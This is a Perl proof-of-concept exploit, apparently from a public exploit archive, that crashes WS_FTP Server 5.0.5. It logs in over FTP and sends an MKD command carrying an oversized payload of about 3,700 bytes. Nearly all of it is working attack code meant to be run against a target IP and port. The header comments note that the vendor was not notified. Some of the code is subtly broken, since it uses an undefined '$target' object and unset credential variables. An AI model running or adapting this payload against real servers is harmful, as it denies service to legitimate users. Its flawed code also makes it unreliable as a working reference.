WS_FTP Server 5.0.5 Denial Of Service

`#!/usr/bin/perl  
  
use IO::Socket::INET;  
  
# Exploit Title: WS_FTP Server 5.0.5 - Denied of Service (DoS)  
# Discovery by: Fernando Mengali  
# Discovery Date: 30 january 2024  
# Vendor Homepage: N/A  
# Notification vendor: No reported  
# Tested Version: 5.0.5  
# Tested on: Window XP Professional - Service Pack 2 and 3 - English  
# Vulnerability Type: Denied of Service (DoS)  
  
#1. Description about vunerability and exploited  
  
#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).  
#For this exploit we intentionally increased the number of bytes sent to the server to process.  
#We concluded that the FTP server does not correctly manage the amount of data or bytes sent and processed, causing denied service conditions.  
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.  
  
#2. Proof of Concept - PoC  
  
$sis="$^O";  
  
if ($sis eq "windows"){  
$cmd="cls";  
} else {  
$cmd="clear";  
}  
  
system("$cmd");  
  
intro();  
main();  
  
my $exploit = "\x41"x676;  
$exploit .= "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e";  
$exploit .= "\x42"x3000;  
$exploit .= "\r\n";  
  
my $sock = IO::Socket::INET->new(  
PeerAddr => $target->$ip,  
PeerPort => $target->$port,  
Proto => 'tcp',  
) or die "Not connect to $ip:$port: $!";  
  
my $response = <$sock>;  
print "Connected => $response";  
  
$sock->send("USER $ftp_user\r\n");  
$response = <$sock>;  
print "Authentication USER: $response";  
  
$sock->send("PASS $ftp_pass\r\n");  
$response = <$sock>;  
print "Authentication PASSWORD: $response";  
  
$sock->send("MKD ".$exploit);  
$response = <$sock>;  
print "Exploited : $response";  
  
sub intro {  
print q {  
  
---------- # ------------------------------------------------------------------  
--------- ##= ------- [+] WS_FTP Server 5.0.5 - Denied of Service (DoS) -------  
-------- ##=== ----------------------------------------------------------------  
------ ###==#=== --------------------------------------------------------------  
---- ####===##==== ------------------------------------------------------------  
-- #####====###===== ----- Coded by Fernando Mengali -----  
- #####=====####===== ----- [email protected] -----  
- #####=====####===== ---------------------------------------------------------  
--- ####= # #==== -------- Prepare to exploiting the server ------------  
--------- ##= -----------------------------------------------------------------  
------- ####=== ---------------------------------------------------------------  
  
}  
}  
  
sub main {  
  
our ($ip, $port) = @ARGV;  
  
unless (defined($ip) && defined($port)) {  
  
print " \nUsage: $0 <ip> <port> \n";  
exit(-1);  
  
}  
}  
`